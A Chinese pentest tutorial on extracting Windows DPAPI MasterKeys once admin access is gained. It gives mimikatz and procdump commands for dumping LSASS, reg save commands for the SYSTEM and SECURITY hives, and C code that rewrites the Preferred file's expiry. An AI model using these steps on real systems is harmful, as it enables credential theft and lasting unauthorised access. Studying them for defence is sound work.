渗透技巧——获取 Windows 系统下 DPAPI 中的 MasterKey
0x00 前言
对于 Windows 系统,用户的加密数据大都采用 DPAPI 进行存储,而想要解密这些数据解,必须要获得 DPAPI 对应的 MasterKey。本文将会介绍在获得了 Windows 系统的权限后获得 MasterKey 的方法,同时分析 Preferred 文件格式,延长 MasterKey 的有效期
0x01 简介
本文将要介绍以下内容
- 基本概念
- 获得 MasterKey 的方法
- 解析 Preferred 文件
- 修改 MasterKey 失效时间
0x02 基本概念
DPAPI:
全称 Data Protection Application Programming Interface
作为 Windows 系统的一个数据保护接口被广泛使用
主要用于保护加密的数据,常见的应用如:
- EFS 文件加密
- 存储无线连接密码
- Windows Credential Manager
- Internet Explorer
- Outlook
- Skype
- Windows CardSpace
- Windows Vault
- Google Chrome
Master Key:
64 字节,用于解密 DPAPI blob,使用用户登录密码、SID 和 16 字节随机数加密后保存在 Master Key file 中
Master Key file:
二进制文件,可使用用户登录密码对其解密,获得 Master Key
分为两种:
- 用户 Master Key file,位于%APPDATA%\Microsoft\Protect\%SID%
- 系统 Master Key file,位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User
Preferred 文件:
位于 Master Key file 的同级目录,显示当前系统正在使用的 MasterKey 及其过期时间,默认 90 天有效期
0x03 获得 MasterKey 的方法
本节主要介绍通过 mimikatz 获得 MasterKey 的方法
1、在线获取
通过读取 Lsass 进程信息,获取当前系统中的 MasterKey,能获得多个 Master Key file 对应的 MasterKey
管理员权限:
privilege::debug
sekurlsa::dpapi
如下图
2、离线读取
思路一:
使用 procdump dump 出 LSASS 进程内存
管理员权限:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
使用 mimikatz 加载 dmp 文件并获取各个 Master Key file 对应的 MasterKey:
sekurlsa::minidump lsass.dmp
sekurlsa::dpapi
思路二:
参考资料:https://github.com/gentilkiwi/mimikatz/wiki/howto-~-scheduled-tasks-credentials
1、复制注册表文件
管理员权限:
reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SECURITY SECURITY.hiv
2、从注册表文件中获得 DPAPI_SYSTEM
mimikatz log "lsadump::secrets /system:SystemBkup.hiv /security:SECURITY.hiv"
如下图
DPAPI_SYSTEM 中的 user hash 为 c2872cf6d6d4db31c6c8d33beb49b482e78e7ce3
,能够用来解密位于 %WINDIR%\System32\Microsoft\Protect\S-1-5-18\User
下的系统 Master Key file
3、解密系统 Master Key file,获得 MasterKey
mimikatz "dpapi::masterkey /in:C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\04ece708-132d-4bf0-a647-e3329269a012 /system:c2872cf6d6d4db31c6c8d33beb49b482e78e7ce3"
解密获得 MasterKey 为 3e9d7f32f2e57933ead318d075efc82325697d87d992b626a20abb5f0ffba6f073d282a837b6fa058ecff36039aa944e04b3dfb666ebace44aad6bff8789ca43
如下图
0x04 解析 Preferred 文件
位于 Master Key file 的同级目录,显示当前系统正在使用的 MasterKey file 及其过期时间
格式如下:
typedef struct _tagPreferredMasterKey
{
GUID guidMasterKey;
FILETIME ftCreated;
} PREFERREDMASTERKEY, *PPREFERREDMASTERKEY;
例如 C:\Users\b\AppData\Roaming\Microsoft\Protect\S-1-5-21-2884853959-2080156797-250722187-1002\Preferred
如下图
前 16 字节 F6 B0 11 A1 D7 B4 C8 40 B5 36 67 2A 82 88 B9 58
对应 guid,调整格式后,对应文件为 a111b0f6-b4d7-40c8-b536-672a8288b958
后 8 字节 D0 08 9F 7D 11 EC D3 01
对应过期时间
对于表示时间的 FILETIME,格式如下:
typedef struct _FILETIME {
DWORD dwLowDateTime;
DWORD dwHighDateTime;
} FILETIME, *PFILETIME;
想要显示成日常使用的时间格式,需要将 FILETIME 类型转成 SYSTEMTIME 类型
在程序实现上,还需要注意使用 sscanf_s 函数将字符串转换为 DWORD 格式
可供参考的 C 代码如下:
#include <windows.h>
int main(void)
{
FILE *fp;
unsigned char buf[24];
fopen_s(&fp,"Preferred","rb");
fread(buf,1,24,fp);
printf("Data: ");
for(int i=0;i<24;i++)
{
printf("%02x",buf[i]);
}
fclose(fp);
printf("\nguidMasterKey: %02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%02x\n",buf[3],buf[2],buf[1],buf[0],buf[5],buf[4],buf[7],buf[6],buf[8],buf[9],buf[10],buf[11],buf[12],buf[13],buf[14],buf[15]);
char lowDateTime[9],highDateTime[9];
sprintf_s(lowDateTime,9,"%02X%02X%02X%02X",buf[19],buf[18],buf[17],buf[16]);
sprintf_s(highDateTime,9,"%02X%02X%02X%02X",buf[23],buf[22],buf[21],buf[20]);
printf("dwLowDateTime:%s\n",lowDateTime);
printf("dwHighDateTime:%s\n",highDateTime);
FILETIME ftUTC;
SYSTEMTIME stUTC2;
sscanf_s(lowDateTime,"%x",&ftUTC.dwLowDateTime);
sscanf_s(highDateTime,"%x",&ftUTC.dwHighDateTime);
FileTimeToSystemTime(&ftUTC, &stUTC2);
printf("");
printf("Expiry time: %d-%d-%d %d:%d:%d\n", stUTC2.wYear, stUTC2.wMonth, stUTC2.wDay, stUTC2.wHour, stUTC2.wMinute, stUTC2.wSecond);
return 0;
}
注:
也可以使用 fread 读取 int 型数据来解决字符串倒序的问题
读取 Preferred 文件,解析出当前系统正在使用的 Master Key file 的 guid 和过期时间
测试如下图
0x05 修改 MasterKey 失效时间
修改思路:
输入过期时间,将过期时间转为 FILETIME 格式,替换 Preferred 文件的 FILETIME
可供参考的 c 代码如下:
#include <windows.h>
int main(void)
{
SYSTEMTIME st={0};
FILETIME ft={0};
printf("[+]Start to change expiry time...\n");
st.wYear = 2019;
st.wMonth = 12;
st.wDay = 30;
st.wHour = 12;
st.wMinute = 30;
st.wSecond = 30;
printf("[+]New expiry time:%d-%d-%d %d:%d:%d\n", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
SystemTimeToFileTime(&st,&ft);
printf("dwLowDateTime:%08x\n",ft.dwLowDateTime);
printf("dwHighDateTime:%08x\n",ft.dwHighDateTime);
FILE *fp;
fopen_s(&fp,"Preferred","rb+");
fseek(fp,16,SEEK_SET);
fwrite(&ft.dwLowDateTime,sizeof(int),1,fp);
fwrite(&ft.dwHighDateTime,sizeof(int),1,fp);
fclose(fp);
printf("[+]Change success.\n");
return 0;
}
读取 Preferred 文件,将过期时间设置为 2019-12-30 12:30:30
修改后重新读取 Preferred 文件信息,成功修改,如下图
0x06 小结
本文总结了在获得了 Windows 系统的权限后获得 MasterKey 的方法,编写程序自动分析 Preferred 文件格式并延长 MasterKey 的有效期。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论